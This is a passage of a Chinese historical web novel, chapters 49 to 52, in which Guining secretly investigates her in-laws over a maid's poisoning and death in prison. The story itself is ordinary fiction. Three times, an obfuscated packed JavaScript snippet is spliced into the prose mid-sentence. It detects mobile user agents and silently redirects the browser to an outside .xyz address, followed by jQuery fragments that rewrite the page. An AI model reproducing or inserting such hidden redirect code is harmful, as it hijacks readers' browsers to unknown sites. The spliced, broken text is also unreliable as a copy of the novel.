这话戳中了马大人的心坎上，身后有宫里的人盯着，他怎敢敷衍？厉声呵斥道：“把那小孩子放了，你们三个随她过去。” 果真，在院子里的西北角，有更多埋下不久的药渣。 马大人下令把所有药渣都带回去，也把那个带路的小女孩一同带去了衙门问话。 自此赵家取证之事告于段落。 ** 接下来躲在萧家内宅看似与赵家之案毫无关联的归宁，实打实地熬着等了两日的消息。她迫切希望马大人能从那药渣里找出一些线索，撕开那配药和尚的诡秘手段。 可一切终究是又让她失望了，被困在内宅的她，比旁人晚了一日得知消息。 乐巧和被马大人带回去指认药渣的小丫头，在次日一早，就莫名其妙地死在了牢房里。 有关乐巧的一切就这样悄无声息地结束了。后续发生的事情断断续续传来，也让归宁大体窥到了这件案子的过程与结果。 后续郎中证实：马大人带回去的药渣证实确有问题。消息传到赵家，马大人刚要传人来问话，萧元荷身边的奶妈，就已经将全部罪责揽下，自戕谢罪了。 理由是，她见不得自己奶大的姑娘受一个狐狸精欺负，太太一味地偏心那小蹄子，二奶奶又不能再生育，她只想将那个一心爬床主子的贱婢弄死。 她并不认识明渊寺的老和尚，药是她自己随意弄的，只是效仿那明渊寺的和尚胡乱加了几味药进去。 厨房里的妈妈也出来证实，给简哥儿做糕点时，就看见那个带路寻药渣的小丫头鬼鬼祟祟地在厨房外乱转悠，还呵斥了她一顿。 那小丫头是府里前两年才买来的，曾因毛手毛脚摔坏了屋子里的东西，被管事妈妈责罚，大冬天跪在雪地里，险些冻死过去。 恰被乐巧看见，给她求了情，还让她去自己的屋子里烤火，给跪肿的膝盖上药。 这小丫头从心里感激乐巧，乐巧生病的几日，常去偷偷探望，还趁众人不在意去厨房偷东西吃。 赵家人一口咬定，就是这个小丫头受乐巧的唆使，在简哥儿的花生酥里混入了杏仁碎。如今已经死无对证，赵家上下又都是口径一致，所有的一切都在指认乐巧是害死简哥儿的真凶。 甚至对于乐巧被人绑架之事，赵家也无人出来证明两句。失去嫡孙的赵太太也不愿意为乐巧说话，甚至亲口否认了绑架一事。 如此，乐巧所说句句谎言，面对这样的结果，又牵扯到官员的女眷，若是寻常情况，大理寺早就草草结案了，卖同僚一个人情。可是这件事由宫里的秉笔太监坐堂听审，马大人就必须如实奏请，等宫里的旨意。 49. 疑心 对于乐巧的突然暴毙，宫里下了旨意：驳回大理寺结案请求，务必严查到底，确定乐巧真正死因。 旁人不知乐巧身份，可宫里的人高高在上，早有另一番打算。 皇帝本想借乐巧将福王的旧人引出来，可还没起头，人就没了。这让皇帝十分愤怒。 有先帝被宫女刺杀的前车之鉴，如今的皇帝虽深居皇宫也是半点儿不敢松懈。这群人一日不抓住，他就一日不安生。 人虽然已死，也必须有个合理的交代。不清不楚地结了案，万一纸包不住火，这丫头的身份被别有用心的人捅了出去；加之如此芝麻大的案子竟然惹得宫内秉笔太监亲临监督这等不寻常的情况，不知道的还以为一切是他这个皇上授意呢。 怪他连七弟的一个遗孤都容不下。若是那帮人把这个仇也记到他头上，实在是得不偿失。 这个时候，他更要坚持秉公办案，给七弟的女儿一个交代，也给那些暗中窥视、伺机而动的死士一个态度，让他们知道，他这个皇上，不会亏待七弟的人。 结案申请被驳回，马大人只好硬着头皮继续查下去，让仵作来验尸。 而经仵作查验，乐巧和那小丫头身上皆有一处红肿发紫的小鼓包，推测是被什么有毒的东西咬了。 不过看伤口，不像是毒蛇。 仔细排查那日进出监牢的人，除了狱卒送饭和差役巡视，没有发现任何特殊人出入。 到这里，线索又断了。可疑点却很多。 此赵家稚子被害案，还有之前积压的明渊寺和尚案，大理寺均侦办不利。这次还加上看管证人不严，致使歹人有机可乘等疏忽职守，数错并罚，大理寺正马大人被革职，贬为庶民。 小周王得了皇上密令，可以暂留京师，暗中调查此事。 ** 按下宫里的这些密辛不提，再说归宁。 她做梦也想不到，萧元荷背后的人竟能在狱卒眼皮子底下，神不知鬼不觉地将人杀了。 转来转去，一切又回到了原点。 人命如草芥，唯有留在小周王手中的那块残帕和两块严丝合缝的玉佩，证明这人曾经来过。 正月末，由于线索中断，大理寺没再追着赵家继续查证，关于萧家和赵家的这场风波终于表面告于段落。 归宁抽空又和萧元绰提了山东庄子上的事，萧元绰这次放在了心上，次日就带了三人前来见她。 一人就是府中粮仓的管事，这是归宁点的人，他会再带几个身体强壮的小厮跟随。 除了他，便是萧元绰带来的一人，这人不在府里当差。只见他身材矮小，皮肤黝黑，有些鹰钩鼻。恭恭敬敬地站在那里，细心地听归宁嘱托。 不哼不哈，似个哑巴，归宁甚至怀疑他有没有在听。 归宁说了半晌，有些疑惑地看向萧元绰。 萧元绰笑道：“他能听懂，但是不会说。几年前生了一场大病，烧坏了嗓子，就成了这样。” “他父母早亡，与妹妹相依为命，在应天偷东西时被我撞见，险些被人打死。我后来救了他们，他有些蛮力和功夫在身上，愿意跟着我，我便收留了他们兄妹。” 归宁笑道：“怎么不见他妹妹？可以带来府上走动走动。咱们家也没那么大的规矩。” 萧元绰笑道：“那孩子认生。” 他们此行很简单，就是暗中调查刘庄头有没有谎报收成。 归宁嘱托完，就让他们自去收拾收拾，两日后出发。 临走那日，南烟回来对归宁道，那个脸生的男子是带着一个小女孩儿单独走的，听说是他妹妹。 归宁烟眉轻拢，道：“你说徐四公子那天遇到的人会不会是这个男人？” 南烟摇头道：“这个真不好说，不过有一点我觉得有些奇怪。大爷那般精明的人，怎么会留一个哑巴在身边当差？这也太不便利了。咱们府上虽比不上侯爵公府的富贵体面，可以不算差呀。身边的下人代表的是主子的脸面，如果不是有特殊情况，大爷怎会重用这样一个人？” 归宁深以为然，微微颔首道：“是有些可疑，让人暗中盯着这兄妹二人，看看有无不妥之处。” 说罢，归宁有些不甘心地道：“只不过这个法子太慢了，还是要找找其他突破口。” 乐巧以身为局，用性命做赌注，最后输得一塌糊涂。她虽然扔仍有余地，但是萧元绰迟早会查到她头上，徐四公子丢的那支箭头，始终让归宁惶恐不安。 归宁经常忍不住去猜想，邓家背后到底有什么样的亡命之徒，就是皇上派人盯着的案子，都敢明目张胆的动手。 乐巧身死之后，小周王特意派人去查了邓家，邓睿江那几日正在办理一桩要案，根本无暇抽身去大理寺监牢。 萧元绰当晚回了萧府，既没有出门，也没有召唤谁进书房吩咐事情。 这些都有切切实实的人证。 这些都说明，邓家和萧家的掌家人在事发时，都不在现场。 那他们背后的那把尖刀，到底是什么人呢？ ** 辗转到了二月中，身体稍稍恢复的萧元荷，以约束下人不严为由，自请在赵家后宅开辟一间小院，每日吃斋念佛，诵经忏悔。 夫妻二人曾推心置腹的长谈一番，赵明敬义正严词地质问萧元荷，是否真与明渊寺的和尚有勾连。 萧元荷以性命起誓，力证清白，言明自己以后可能不能生育，愿意为夫君纳几名贵妾入门，开枝散叶，自己余生便守着太太，青灯古佛一辈子。 萧元荷说到做到，几日后，就选了一位身世清白，姿色中等，容易生养的良家女，办好了纳妾文书。 当把人送去赵明敬房中时，他不置一词，一甩袖独自歇在了书房。 没几日，萧元荷回娘家探望邓氏。母女二人抱头痛哭了好一阵，才说了些紧要的体己话。 萧元荷伏在邓氏怀里，眼中旋着泪，幽幽道：“若不是她派人偷听我们说那老和尚的事，我也不至于那么着急除掉她，甚至搭上了自己的骨肉。” 她将手放在小腹上轻轻揉了揉，低泣一声，“也是我气糊涂了，为了给简哥儿讨个公道，竟然要报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781796|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官，当时就应该让她悄悄死在后院。” 她已经足够谨慎了，绑架一事并没有留下任何证据，而那些做过手脚的药，也让下人们看着将药渣处理掉。 为了预防万一，她会隔几日换一次药，将没有做过手脚的药埋在一个地方，将做过手脚的药渣埋在更不易被人发现的地方。 乐巧喝的每一副药，药渣都会有人专门处理，保证不会遗落在其他地方。 她本来吩咐下人们将药渣晾干烧掉，如此更加妥当。可大过年的，都图个干净喜庆，丫头婆子不愿意惹一身药草味儿，躲懒不愿处理，才埋了起来。 萧元荷想着若是太过苛求，倒是显得反常，容易让人生出疑惑来，恐有此地无银的嫌疑。加之小产之后，她体虚的厉害，过年期间人情往来迎客宴请等琐事众多，赵太太小门小户出身，大的场面还得萧元荷撑着，如此对乐巧的事也松懈了一些。 不曾想终究是埋出了祸患来。 邓氏轻轻拍了拍萧元荷的后背，说出了心中的疑问：“她一个没见过世面的丫头，斗大的字不识几个，是怎么知道自己喝的草药有问题？再有，明渊寺和尚的案子，也就是在京师官眷中传开了，一个内宅的丫头又从那里听说的？” “尤其是那个指认药渣的小丫头，她能知道些什么？背后如果没有人指点，怎么能说出这配药和尚的案子来？” 萧元荷道：“她自己跑回来时，在外边流浪了好多天，说不好这事儿早就在市井中悄悄传开了，只不过咱们身居深宅大院里，听不到外边的风声。” 邓氏又问，“那她是怎么断定草药有问题？会不会她提前买通了人，拿着药渣出去问了？” 萧元荷道：“每一副药的药渣，我都命人仔细收了起来，不应该呀？” 邓氏心思细腻，略有所思道：“如果每一副药都偷偷藏起来一点儿呢？” 这话点醒了萧元荷，她突然直起身来，心头微颤。 年节，下人们都喜欢凑热闹，谁愿意伺候一个病秧子，再过一身病气？ 时常药熬到一半就去躲清闲，留到最后是乐巧一个人熬药，熬好了留下药渣等下人们得空了处理。这样她就有时间藏起来一些，积少成多。 邓氏始终不相信，凭乐巧一个小丫头，能有这般能耐，见官之后来一个漂亮的反杀，“你想想，她有没有见过其他人。” 萧元荷仔细回忆了一番乐巧回来之后的种种，笃定道：“除了赵太太去瞧过几眼，只见过一个外人。” “谁？” “南烟。那天归宁去赵府探望我，我们打了一下午的牌，南烟就在乐巧房中坐了一下午。” 邓氏眼中的慈祥散尽，露出几抹狠厉来，撵动佛珠的手也停了下来，“记得简哥儿出事那天，南烟去赵府，一直在关押乐巧的柴房外打转转，我当时就觉得可疑。” “再有萧府庆宴那日，我记着也是南烟传话给你身边的丫头桂香的吧。” 萧元荷不由心烦意乱起来，“不会是归宁察觉到了不对吧？若是把以前的事儿翻出来，那咱们……” 50. 试探 看到女儿心虚，邓氏睨了她一眼，示意她闭嘴，冷声道：“怕什么？明渊寺的承远执事不是说了吗，那和尚早就死透了，不会有人挖出来。” 萧元荷半含恨道：“若是那老和尚还活着，几粒药丸下去就可以了，哪里用得着费尽心思地在药草上做手脚。” 药草上做手脚，会在药渣里留下证据。若是遇水即化的药丸，可以溶在汤药里，根本看不出半点儿破绽。 邓氏将手中的佛珠轻轻放下，“乐巧的事总算结束了。” 萧元荷依旧有些不放心，“下手的人，确定已经送走了？” 邓氏轻点了下头，“走了。你表哥亲自送出城的，以后再也不会回来了。” 萧元荷闻言，既轻松又有些遗憾。如此就永远不会有人抓住她的把柄了；可这背后也少了干脏活的人，日后再想处置谁，可就没有这么容易了。 邓氏见女儿一副乖觉模样，语重心长劝道：“回去好好和明敬过日子，他心里还是有你的位置。只要你还是他的嫡妻，不管是谁生的孩子，都会送到你跟前养着。” “那女人一家子的身契，都在我手里握着，她不敢怎么样。早些让她生下赵家的孩子，趁着你还年轻，明敬对你还有情，赶紧养在跟前，这样你们就是他的生身父母。” 等哪日年老色衰，留不住男人的心，再没有孩子，那才是最大的麻烦。 趁年轻养在跟前，既能讨夫君欢心，又有足够的精力慢慢教养。等容颜老去时，孩儿也长大了，可以为母亲分忧了。 “看在简哥儿的面子上，你婆母已经帮了你一回，你可千万不要对婆母不敬。赵太太是个嘴硬心软的人，你要好好哄一哄。” 面对母亲的苦口婆心，萧元荷一一应下。从哪里跌倒，她就要从哪里爬起来，重新面对生活。 送走萧元荷，晚间下值的萧元绰又来请安。 邓氏将南烟可能接触过乐巧的事说了，也好奇地问了句，一个小小的案子，怎么会惊动宫里的秉笔太监来旁听。 萧元绰闲闲地喝了半盏茶，心平气和道：“南烟的事我会再去查，至于为什么能惊动宫里，我也没有头绪，不过我观赵太太对乐巧的维护，可能另有缘故。” “这丫头的身世，恐怕有些不一般。亦或者，有关明渊寺和尚的案子，牵扯到宫里的密辛，我觉得后者可能性比较大。” “如今乐巧已死，宫中只是象征性的惩罚了审案的官员，新上任的官员并没有继续接手这个案子，而是重点查明渊寺和尚案。那说明宫里关注的重点不是她。” 邓氏双手合十，念了一声：“阿弥陀佛，但愿这事儿就这么过去了。” ** 萧元绰一把将坐在轮椅上的归宁抱起来，将人轻轻放在拔步床上，与她耳鬓厮磨。 归宁将身子往里挪了挪，半躺下来，说起了许大夫的事，“夫君，母亲的商队这就准备出发了。我托他们继续找寻许大夫的下落。您那边有没有熟悉的人，也让他们帮忙打探打探？” 小周王曾说，东瀛人一般在东南沿海一带活动，他身边若是有这样的人，可能对那边会比较熟悉。 或许借此一问还能套些他身边人的信息出来。 萧元绰的下巴靠在她的肩头，懒懒道：“我没去过那边，不过我可以问问。许大夫的医术真有那么好？可以治好大姐姐的病？” 归宁眼中的笑意中多了几丝苦涩，今世萧元荷生不了孩子，他便这般上心，甚至主动找她打探许大夫的下落。 那前世呢？她苦苦求了他多少次，问了多少遍许大夫的事，他哪次不是敷衍？ 他眼睁睁看着她为了求一个孩子，受尽各种折磨，却始终不肯放过她，便是临终前，也不肯对她说句真话。 那含情脉脉的眉眼，如今看来无端地让她恶心。 归宁往旁边躲了躲，将他推开少许，轻笑道：“不试一试怎么知道？再说他跑遍大江南北，见多识广，没准儿还真有别人想不到的办法呢？” 她越来越不想应付他，前几日听说了萧元荷为赵明敬纳妾的事，那么骄傲跋扈的一个人，在这件事上竟然心甘情愿的让步了。 垂眸道：“夫君，我这腿伤恐怕要将养好长时间，不如在你屋子里放个人吧。” 她说得很轻松，萧元绰听得心思一沉，轻轻在她雪白的脖颈上咬了一口，“你真是这么想的？” 归宁不敢去看他的眼，有些闪躲道：“我不能在夫君身边伺候，也不能在母亲跟前尽孝，若再不大度些，恐怕会被别人说闲话。” 萧元绰轻笑一声，“左不过半年的事儿，等你腿好了，再好好补偿我，行不行？” 归宁羞怯地“诶呀”了一声，裹着被子，滚到了大床的内侧。 云娇雨怯的模样落入萧元绰眼中，竟有些沉迷其中，不愿动弹。书房很冷清，他今夜不想回。 轻柔的把毛茸茸的头从被子里剥离出来，拥在怀中，低喃道：“阿宁，你陪我说会儿话吧。” 他身上的檀香，顺着鼻尖丝丝缕缕地钻进来，熏得归宁的喉咙间有些发苦，不知何时起，她厌恶他身上的一切，包括说话的声音，身上的味道，以及那张俊俏的容颜…… 她似乎能透过他谦谦君子的温润外表，看到掩盖在身后的血腥。如果前世她也如乐巧这般激烈的撕开萧家的伪善，大抵也是一样的结局。 他在骗她，而她也在疑他。她想不明白，他怎么就可以摆出一副深情款款的模样，不露半分破绽呢？他的心里，不矛盾吗？不难受吗？ 见归宁久久不语，萧元绰轻叹一声，“那就睡吧。放心，我不会碰着你的伤处的。” 到底是待他，有些生分了。 最近他总是做一些不太好的梦，梦中归宁像他手中的风筝，越飞越高，最后挂在了云端，越飘越远。 他使劲儿拽着绳子，要把她拉回来，突然间一道白光闪过，绳子断了。他在下边狂追，可无论他怎么努力，始终差那么一点点。最后，眼睁睁看着她消失在自己的视野中。 除了这样的梦，他竟然还梦到，百年之后，有人掘开他们的坟墓，将归宁的尸骸运走，生生将他们拆散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797585|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正当萧元绰心思纷乱如麻之际，睡熟的归宁突然翻了个身，滚到他身边，头挨着他的胸膛，睡得安稳香甜，嘴里还念叨着：“夫君，你为什么欺负我？” 稍稍一怔后，几丝笑意不由自主的爬上眼角，轻点她小巧的鼻尖，戏谑道：“那都是什么时候事了，小丫头这么记仇呢！” 似是听到了他的回应，她又喊了一声，“夫君，你骗人……” 萧元绰不由轻笑，“小丫头梦到什么了？”小时候他确实常常哄骗她，看她气鼓鼓的模样，总忍不住想要上手捏一捏那吹弹可破的脸颊。 想起儿时事，他的心软的像一滩水，温柔地吻了吻她光洁的额头，揽上她的纤腰。想着，待她伤好了，该怎么找她补偿。 一夜平静而过。 ** 如此平静地过了几日，某天，萧元绰陪着归宁下棋，突然间说起了简哥儿，再过几日就是他的冥诞了。 少不得又提起乐巧。 萧元绰见南烟泡茶来，随口问道：“你之前去赵家探望过她？”既然母亲起了疑心，他不能不查。 归宁落了一字，催促道：“夫君该你了。是去过的，还和你说过。当时哪里知道她和大姐姐闹到这个份儿上？大姐姐还体谅她被贼人所掳，不肯报官，全了她的名声。” 有了归宁这番提点，南烟也回过神来道：“我当时去找她，想问问那些贼人的事。她当时病歪歪的，只说……只说……” 南烟故作有难言之隐，遮遮掩掩道：“那群强盗欺辱了她，见她姿色不错，还想留着慢慢折磨。她说自己得了个机会，才脱了身。” “我见她实在可怜，赵府里的人拜高踩低的，对她不理不睬，任她自生自灭，实在是看不下去，还给了她一些碎银子。现在想想，真是一片真心喂了狗！” 归宁接过话茬道，“我是局外人，自然向着大姐姐，可大姐姐奶娘做得那些事也不算光彩。乐巧已经那样了，何必赶尽杀绝。恐怕她是知道了药有问题，才绝地反击。” 她将棋子扔进旗盒，没有心思继续陪他下完这盘棋，恹恹道：“若是夫君看上了哪家姑娘，就和我说，我断然不做那等事的。” 萧元绰没有试探出南烟对乐巧的与众不同，倒是让归宁有了别样的心思，心里有些得不偿失。 或许真是他和母亲想多了，归宁什么都不知道。 想想，她的腿都因大姐姐的猫摔成了这个样子，哪里有闲心去管别家事。大姐姐做得很多事，的确有些上不得台面。 归宁眼中闪着几丝恐慌，有些小心翼翼地问道：“夫君，听说乐巧状告大姐姐是大姐姐指使人绑架的她，是真是假呢？” 萧元绰面色微沉，凉声道：“这些没头没尾的话，哪里当的真？大姐姐也是受害者之一。” 归宁没有搭腔，而是看向自己绑着布条的腿。从小到大，萧元荷都不是喜欢自己，这点萧元绰是知道的。 萧元绰心中生出几丝怜惜，起身将她抱到轮椅上，柔声细语道：“我推你出去吹吹风，整日在屋子里闷着也不好，容易胡思乱想。” 51. 春夜即事 屋外晚风习习，花香幽幽。 春日的夜，静谧中透着一股让人舒展的暖意。 归宁坐在轮椅上，手提八角宫灯照明，萧元绰则在身后缓缓推着她，路过□□时，随手摘了一朵海棠花，别在归宁的鬓间，笑道：“只恐夜深花睡去，今儿咱俩也做个赏花人。” “我推你去崇光亭上坐坐，再让她们沏壶茶来喝。” 亭子稍高，有十几步的台阶，轮椅上不去，归宁道：“上来下去怪麻烦的，在小径间随便转转就好了。明日夫君还要早起上值，莫要累坏了。” 萧元绰不依，坚持将轮椅丢在下边，一手拖着归宁的后背，一手抄起她的膝盖弯，很轻松地将人抱了起来，她自小纤瘦，如今依旧。 将人轻轻放在凉亭下的美人靠上，还有些不放心的道：“有没有碰到你的伤处？” 归宁轻摇头，“不曾。” 萧元绰见归宁兴致不高，坐在她身边，拉着她的手道，“咱俩对诗吧，就以春夜为主题，随意发挥。我输了，就从这里把你抱回去。你输了，就亲我一下，怎么样？” 从这里抱回去，岂不全院的人都知道了？若是传到婆母耳朵里，指不定心里多记恨她，归宁紧摇头，“别，让丫头婆子们瞧见了多不好。” 萧元绰将她的脸扭向自己，笑道，“那你就别输给我。” 话落，先说了一句：“江畔何人初见月，江月何年初照人。” 归宁不依，“夫君拿张若虚的诗堵我，我要用多少首才能补齐呢，这不公平。” 萧元绰再退一步：“每首诗只需说一次，若再用，算我输，让你三次机会。” 他用这首诗，不过是想起儿时一起读书时，他念诗，她抚琴时的光景。 昔日归宁的父亲曾得一把名琴，爱不释手，闲暇之余喜欢拨弄一番，自幼教导归宁，她也跟着学了些皮毛。 可自从嫁他之后，家中连出变故，她忙于管家。后院大小事务，琐碎又熬人，就再也没有抚弄过了。 归宁被他缠的没办法，只好顺着他的意，用王介甫的《春夜》开了第一局。 二人你来我往，萧元绰才思泉涌，越说越来劲，归宁则兴致寥寥，越来越艰难。 不知过了多少轮，归宁凝思之际，隐隐约约听到一丝微弱的女子啼哭。 走神之时，萧元绰催她，“快些，我数三声，再不说算你输。” 归宁嗔道，“夫君别催，你有没有听到什么声音？” 萧元绰假装静心凝神地听了听，笑道：“哪里有什么声音，分明是你想耍赖。” 正当归宁以为自己听错了，嘤嘤啜啜的哭声再次传来，这次萧元绰也听到了，“好像是有。” 这个时候内院已经落钥，归宁猜不出什么人受了多大的委屈，夜半跑来院子里哭泣，“去瞧瞧吧，先别惊动她。” 萧元绰怜惜她腿上有伤，挪动不便，道：“不如我去吧，你在这儿等一等。” 归宁道：“多半是内院的小丫头，夫君去问，不甚方便。” 萧元绰觉得有理，抱起归宁下了凉亭，将人放在轮椅上，顺着啼哭的声音寻去。 遥遥见黑夜中的林木深处有火光传出，一梳着妇人发髻的女子，跪在火旁掩面啜泣。 假山旁的流水声掩盖了归宁两人到来的动静，女子浑然不知一水之隔的对岸有人在偷瞧自己，哭到伤心处愈发难以自已，嘴上念叨着：“我可怜的儿，你在那边冷不冷？娘亲来给你烧些纸钱，来生一定要投生个好肚子，像大爷那样的身份，千人疼万人爱……” “瞧瞧你，来这世上一遭，除了娘，再无旁人惦着你……” “你也真是个没福气的，一场小小的风寒就丢了性命。把为娘一人丢在这清冷的地方，苦熬日子……” “我的湛儿……” 原来是齐姨娘，趁着夜黑无人，给死去的儿子烧纸钱。 归宁轻声道：“是我疏忽了，明日就是二弟的忌日。” 她很理解一位母亲对早逝孩子的思念，就是前世她不曾谋面的那个孩子，每每想起，她还是会痛。 归宁这几日太过紧张乐巧的事，竟然把萧元湛忌日的事忘记了。 她不忍打扰齐姨娘，府中私烧纸钱有违规矩，怕自己的出现会惊吓到她，对身后的萧元绰道：“夫君，咱们回去吧。我明天会找她说说今晚的事，现在就算了。” 似这等内院小事，萧元绰也不想多花心思，应了一声，推着归宁离开。 他还没有孩子，难以感同身受的体会一个孩子的离世对于母亲的打击有多大。但从萧元荷和齐姨娘那痛不欲生的模样里，他还是受到了极大的震撼。 相对无言地走了许久，萧元绰才低低开口道：“阿宁，你喜欢孩子吗？” 归宁没料到他会突然问这个，从前世他对孩子的态度看，他是一个很严厉的父亲，算不上慈爱。 在孩子面前，他更像一个处处以身作则，满口天地君亲师的先生，而非父亲。 他到底喜不喜欢孩子，她说不准，但是非常肯定，他不喜欢她有孩子。 在轮椅辘辘碾过碎石地面的隆隆声中，归宁带着无尽的遗憾，违心地道了句：“随缘吧。” 话讫，再不多言。同样心事满满的萧元绰，也缄默下来。 二人很快回到了孤芳苑，萧元绰将归宁抱回屋内，放在临窗的炕头上，归宁刚刚坐定，蜷缩在一角的初一，就摇着尾巴，过来蹭归宁的胳膊。 归宁笑着将它抱入怀里，轻轻捋着它的后背，笑道：“粘人的小东西。” 头也不抬地逗着初一，对萧元绰道：“夫君，我想明日让人陪着齐姨娘去给二弟上坟，您看可以吗？” 萧元湛是幼年早夭，不能葬入应天祖坟，所以葬在了京郊萧家的庄子上。只不过齐姨娘是妾室，出门不便，归宁才替她在萧元绰面前求个恩典。 萧元绰将初一从归宁怀里抱出来，放在一旁，拉着她的手道，“你安排就是了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820210|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这点儿小事儿，以后不用处处请示我。” 见四下无人，他凑在归宁耳边，柔声哄道：“阿宁，你输了，是不是要应诺？” 眼见归宁耳根红透，瑰丽的脸庞似天边晚霞，愈发不肯放过她。还故意将脸凑了过去，低低的唤她，“娘子……” 归宁见他越靠越近，皱下眉头，不悦道：“夫君可还记得二弟的模样？” 彼时，归宁在他身上看到了几丝薄凉，他似乎从不关心自己的庶弟庶妹。 归宁的考问，多少触动了萧元绰的内心，他收起略带些戏谑的笑脸，若有似无的叹了一声，“逝者已逝，明日的事你安排便是，我还有些公务要处置，先回前院了。” 萧元绰走得很匆忙，显然心里憋着一股气。 他刚出院门，周嬷嬷就悄声挑帘进来，对正在逗初一的归宁道：“夫人是说了什么话？惹得大爷不高兴了。” 往常萧元绰见到归宁院子里有些脸面的下人，都是客客气气的。今日见他摔帘而去，周嬷嬷主动上前行礼，他却连句话也没有，全然不似之前温润儒雅模样。 归宁微微一怔，心中既有几分解气又有几分懊恼，她知道自己不该惹他，可也不愿意虚以为蛇，她没有萧元绰那么好的掩饰能力。只应付道：“就说了几句二弟的事，也不知他怎么了。” “我行动不便，嬷嬷明天代我去瞧瞧二弟吧，顺便照顾一下齐姨娘。她没怎么出过门，别不懂事乱了规矩。” 周嬷嬷也只当她挂念旧人，心里没多想，就应了下来，直到听完归宁的念叨：“乐巧在外流浪多日，染了风寒，咳嗽不断。萧元荷手上的方子决然不是她瞎弄的，应当是之前就用过。很不巧，二弟也是染了风寒，嬷嬷觉得是不是有点儿不同寻常？” 乐巧说萧元荷之前去明渊寺去见老和尚配药，是想借机对付赵太太。可归宁觉得，应该是对萧家某人动手，才值得萧元绰出手掩盖。 还有，邓氏刚说要接回姜妈妈，她就出事了，这应该就是一个障眼法，让旁人猜不透她的心思。 再者，萧元湛生病期间，姜妈妈曾几次去探望，如今想来也太过蹊跷。 邓氏并不喜欢两位姨娘，尤其是老太太在世时，恨不得三天两头找她们的不痛快。可归宁掌家之后，她竟然收敛了不少。 萧元湛病逝之后，她还常常反过来安慰齐姨娘，以前归宁以为是邓氏看开了。可经历了两世，她觉得邓氏是将刀锋隐藏了。 归宁的外祖母离世之前，就已经给这个庶出的孙子留了一份家业，白字黑字写了下来。她担心邓氏苛待这个庶孙，也怕归宁辈分小，压不住婆母，提前做了规划，或许正是因为这一点，让邓氏记恨。 归宁犹记，萧元湛生病那段时间，她正忙着梳理府中庶务，又有萧家的远房亲戚来访，让她难以抽身。 不过齐姨娘作为母亲，日日在床前照顾，应该能察觉到几丝不同寻常。不过她身居内院，很多信儿听不到，她需要给她吹吹风。 52. 祭拜二爷 见周嬷嬷仍有些一知半解的模样，归宁继续道：“那明渊寺老和尚的传言已经闹得满城风雨，可是咱们府上的人都守规矩，没有乱嚼舌根的。姨娘这次出门，嬷嬷可要看仔细了，别让她多听了什么，少听了什么。” 周嬷嬷这才堪堪明白过来，原来让齐姨娘出门去给二爷上坟，只是一个借口，是想让齐姨娘听听更多的声音。 周嬷嬷笑道：“夫人的心思越来越缜密了，老婆子都快被绕糊涂了。” 归宁心中也苦，可她没能力和萧元绰硬碰硬，甚至不敢让他发现丝毫破绽，长叹一声：“我斗不过夫君，只能如此安排。我只要一个公道，多的我也不求。哪怕日后他要休了我，我也要求一个真相。” 周嬷嬷也跟着伤怀，劝解道：“自古有‘七出三不去’之说，夫人为长辈守孝三年，大爷休妻，就是违背宗法礼教。莫说是伯爵府，就是普通百姓也不会做这等有损声誉之事。” 归宁却道：“可嬷嬷别忘了，恶疾及奸者不在此列。” 妻若犯“七出”，丈夫可休妻；可若妻满足“三不去”，丈夫则不能休妻。可“七出”中的“有恶疾”及“淫”两项，则不在“三不去”的保护范围之内。 周嬷嬷心中阵阵泛酸，“夫人身子好得很，又恪守妇德妇道，这话可不是乱说的。” 乐巧的事，让归宁看的更透彻了。萧元绰对付她的手段还算温和，若是有朝一日发现她有异心，将对付乐巧的手段拿出来，她哪里有翻身的机会？ “明日嬷嬷行事小心些，切莫留下痕迹便是。”便是市井传言，归宁都要小心到不能在府内传开，可见其慎重。 翌日一早，周嬷嬷推着归宁一大早去给邓氏请安，邓氏见她坐在轮椅上往来不便，笑道：“诶呦，不是说了不让你乱动，这会子怎么来了？” “绰儿已经给我说了，等你伤好了再来请安便是，我是看着你长大的，咱们不来那些虚的。过些时日你母亲也该回来了吧，若是让她看到你这样，让我怎么和她交代呀！” 归宁淡淡笑道：“婆母言重了，本就是我不小心摔的。今儿儿媳来是有要事给婆母说。” 归宁将齐姨娘要出门上坟的事说了，既然萧元绰已经应允，邓氏自然没什么好说的，也点头应了，还让人拿了二两银子给齐姨娘，“替我买些他爱吃爱玩儿的东西送去吧，算我一份心意。” 几人又寒暄了几句，才出了邓氏的院子。见屋里空了下来，邓氏才命人摆饭。她近日吃斋，一桌子都是素菜，瑞欢在一旁服侍，“夫人办事还是有分寸的，但凡有超出规矩的事，都来请示太夫人。” 邓氏落了座，道：“家道中落，若不是老太太倚重，哪儿能嫁给绰儿？但凡跋扈些，爱耍小性子，闹些小脾气，也入不了绰儿的眼。” 